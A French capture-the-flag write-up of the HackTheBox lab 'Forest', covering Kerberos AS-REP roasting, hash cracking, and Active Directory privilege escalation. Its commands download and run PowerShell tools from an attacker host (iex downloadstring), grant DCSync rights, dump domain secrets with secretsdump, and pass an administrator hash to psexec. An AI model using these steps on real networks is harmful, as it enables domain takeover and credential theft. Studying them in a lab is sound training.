S’abonner
Connexion
Please login to comment
0 Commentaires
Forest est une box de HackTheBox. Elle est surtout accès à l’attaque sur Kerberos. Parfait pour ceux et celle qui veulent débuter ou se perfectionner dans ce type d’attaque. Elle est similaire dans son commencement avec Vulnnet : Roasted de TryHackMe dont vous pouvez le write-up ici.
Comme à chaque début sur une box, il faut souvent commencer par énumérer avec nmap. On va utiliser l’option -T5 pour avoir une vue rapide des ports ouverts et ensuite faire d’autres scans plus précis.
Commande :
nmap -T5 -p- 10.10.10.161
Comme le montre la capture, il y a plusieurs ports qui sont intéressants :
53 – DNS
88 – kerberos
135 – RPC
139/445 – SMB
389 – LDAP
On va commencer par énumérer avec smbmap et smbclient voir si des partages sont accessibles
Commandes :
smbmap -H 10.10.10.161
smbclient -L \\\\10.10.10.161
L’une comme l’autre nous montre qu’il n’y a pas de partage accessible en Anonymous.
On continue l’énumération avec enum4linux qui va aussi vérifier la présence de partage, mais qui fait d’autre tester en plus dont notamment récupérer le SID du domaine, “Getting domain SIF for” (information qui pourrait être importante)
Et aussi la liste des utilisateurs présents sur le domaine.
Il est aussi possible d’utiliser nmap avec le script ldap-search.nse qui donne un résultat en tout cas sur cette box, plus clair. On récupère la aussi les utilisateurs et le nom de domaine (HTB.local). On note aussi la présence d’objet relatif à Exchange.
On va tenter de récupérer le hash d’un ou plusieurs utilisateurs avec l’outil GetNPUsers.py d’Impacket. En effet, comme nous avons Kerberos qui est utilisé pour gérer l’authentification, il est possible que pour certains utilisateurs, la pré-authentification soit désactivée.
Commandes :
python GetNPUsers.py htb.local/ -dc-ip 10.10.10.161 -request
Pour casser le hash et récupérer le mot de passe, on va utiliser hashcat. (hash2.txt contient le hash précédemment récupérer.)
Commandes :
.\hashcat64.exe -m 18200 .\hash2.txt .\rockyou.txt
Pour afficher le contenu du potfile de Hashcat
.\hashcat64.exe -m 18200 .\hash2.txt –show
On va essayer de voir si la commande python GetNPUsers.py en incluant les nouveaux identifiants permet de récupérer d’autre hash.
Commande :
python GetNPUsers.py htb.local/svc-alfresco:s3rvice -dc-ip 10.10.10.161 -request
même résultat…
À nouveau smbmap et smblcient, on va voir si on peut cette-ci accèder à des partages.
Commande :
smbmap -H 10.10.10.161 -u svc-alfresco -p s3rvice
smbclient //10.10.10.161/SYSVOL ––user=svc-alfresco
Comme le partage SYSVOL est en lecture seule, on va l’explorer pour voir si on trouve des informations. Mais malheureusement, il n’y a rien…
Par le biais de evil-winrm et avec les identifiants de svc-alfresco, on va se connecter sur le système.
Commandes :
ruby evil-winrm.rb -i 10.10.10.161 -u ‘svc-alfresco’ -p ‘s3rvice’
*Evil-WinRM* PS C:\Users\svc-alfresco\desktop> type user.txt
1 Winpeas
J’ai téléchargé et exécuté Winpeas.exe afin de voir si des possibilités d’escalade de privilège existaient, mais sans succès.
Pour télécharger winpeas sur le système, il faut faire la commande suivante, en ayant mis en partage via Python ( python3 -m http.server ) winpeas.exe :
(new-object net.webclient).downloadfile(‘http://10.10.14.26:8787/winPEASx64.exe’, ‘c:\Users\svc-alfresco\desktop\winpeas64.exe’)
Exécution :
*Evil-WinRM* PS C:\Users\svc-alfresco\desktop> ./winpeas64.exe
2 BloodHound
BloodHound permet de lister les différents droits et informations sur un domaine et ainsi de voir si on peut trouver une voie pour une escalade de privilège.
Téléchargement sur le système :
*Evil-WinRM* PS C:\Users\svc-alfresco\appdata\local\temp> iex(new-object net.webclient).downloadstring(“http://10.10.14.26:8787/SharpHound.ps1”)
Exécution :
*Evil-WinRM* PS C:\Users\svc-alfresco\appdata\local\temp> invoke-bloodhound -collectionmethod all -domain htb.local -ldapuser svc-alfresco -ldappass s3rvice
On devrait normalement avoir deux fichiers. 1 zip et 1 bin
Récupération du fichier zip sur Kali
Mise en place d’un partage SMB sur Kali
smbserver.py share . -smb2support -username user -password user
Transfert :
net use \\10.10.14.26\share /u:user user
copy 20210519021443_BloodHound.zip \\10.10.14.26\share
Une fois BloodHound lancé, et une fois connecté, il faut ouvrir le fichier zip et aller en haut à gauche dans la barre de recherche et rechercher svc-alfresco
Une fois trouvé, il faut aller sur analysis, et prendre dans la liste le choix “Shortest Paths to Domain Admins from Owned Principals”
On arrive avec ce graphique là.
Ce qu’il faut comprendre dans ce graphique, c’est que svc-fresco est membre de “Service Account” , qui est membre de “Privileged IT Account” , qui est membre de “Account Operators“. Ce qui revient à dire que svc-fresco est membre de Account Operators. Et les opérateurs de compte ont le privilège “Generic All” sur le groupe “Exchange Windows Permissions group“.
En cliquant droit sur “Generic All” et sur “WriteDacl“, puis sur “help“, dans l’onglet abuse, on trouve comment et quelles commandes effectues pour créer un utilisateur et lui donné des droits plus élevés.
Création d’un nouvel utilisateur (toujours avec winrm)
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user related 123456789 /add /domain
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group “Exchange Windows Permissions” related /add
Une fois, ces deux commandes effectuées, il faut donner des droits DCSync à notre nouvel utilisateur. Pour cela, on va utiliser PowerView.
Téléchargement :
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> iex(new-object net.webclient).downloadstring(“http://10.10.14.26:8787/PowerView.ps1”)
Il faut ensuite exécuter les commandes suivantes comme indiqué dans l’aide de BloodHound
$SecPassword = ConvertTo-SecureString ‘123456789’ -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential(‘HTB\related’, $SecPassword)
Add-ObjectAcl -PrincipalIdentity related -Credential $Cred -Rights DCSync
Ensuite, il faut utiliser secretdump.py avec cette commande :
python secretsdump.py htb/related@10.10.10.161
En dernier lieu, il faut se connecter sur le système avec psexec pour récupérer le flag root.txt
python psexec.py administrator@10.10.10.161 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6